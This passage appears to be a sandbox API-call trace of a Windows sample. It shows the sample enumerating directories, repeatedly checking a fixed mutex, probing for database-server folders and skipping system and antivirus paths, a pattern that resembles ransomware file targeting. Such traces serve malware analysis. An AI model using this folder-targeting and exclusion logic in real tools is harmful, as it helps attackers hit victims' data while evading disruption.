0x3f4000c [0280.434] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.435] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0280.435] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0280.435] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.435] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.435] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.435] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.435] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.435] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0280.435] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.435] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.435] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0280.435] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.435] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.435] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.435] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.436] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.436] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.436] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.436] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.436] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.436] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.436] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.436] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.436] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.436] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.436] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.436] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.436] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.436] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.436] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.436] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.436] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.436] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.437] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.437] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.437] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.437] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.437] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.437] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.437] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.437] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.437] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.437] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.437] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.437] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.437] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.441] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.441] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.441] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.441] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.441] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.441] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.441] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.441] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.441] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.441] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.441] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.441] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.441] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.442] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.442] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.442] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.442] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.442] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.442] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.442] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.442] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.442] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.442] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.442] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.442] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.442] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.442] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.442] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.442] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.442] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.442] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.443] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.443] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0280.443] GetLastError () returned 0x12 [0280.443] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0280.443] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0280.443] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0280.443] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0280.443] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.443] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.443] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.443] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.443] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0280.443] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.443] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.443] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0280.444] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.444] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.444] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.444] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.444] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.444] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.444] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0280.444] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.444] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.444] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0280.444] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.444] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.444] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1043", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1043") returned 1 [0280.444] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.444] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.444] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.445] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.445] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0280.445] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.445] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.445] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0280.445] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.445] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.445] GetLastError () returned 0x3 [0280.445] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.445] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0280.445] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.446] GetLastError () returned 0x2 [0280.446] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0280.446] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.446] GetLastError () returned 0x2 [0280.446] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e40, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0280.446] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.446] GetLastError () returned 0x2 [0280.446] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.447] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e40, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0280.447] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.447] GetLastError () returned 0x2 [0280.447] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.447] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0190, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0280.447] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.447] GetLastError () returned 0x2 [0280.447] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.447] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e40, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0280.447] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.448] GetLastError () returned 0x2 [0280.448] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e40, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0280.448] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.448] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.448] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.448] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.448] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0280.448] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.448] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.448] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0280.448] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.448] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.448] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0280.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aae8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0280.449] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.449] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0280.449] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0280.449] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.449] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0280.449] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0280.449] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.449] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0280.449] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e58, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0280.449] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.449] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.449] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.449] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.449] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0280.449] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.449] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.449] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0280.449] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.450] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0280.450] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e40, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0280.450] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e40, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0280.450] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0280.450] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0280.450] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e40, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0280.450] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e40, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0280.450] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e40, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0280.450] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.451] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0280.451] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0280.451] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0280.451] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0280.451] SHGetPathFromIDListW (in: pidl=0x6e4678, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0280.451] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0280.451] IMalloc:Free (This=0x75e4d000, pv=0x6e4678) [0280.451] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0280.451] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0280.451] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.451] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.451] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.451] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.452] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0280.452] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.452] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.452] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0280.452] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.452] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0280.452] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.452] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.452] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0280.452] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.452] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.452] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.452] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.452] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.452] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.453] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.453] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.453] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.453] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.453] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.455] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0280.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0280.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) 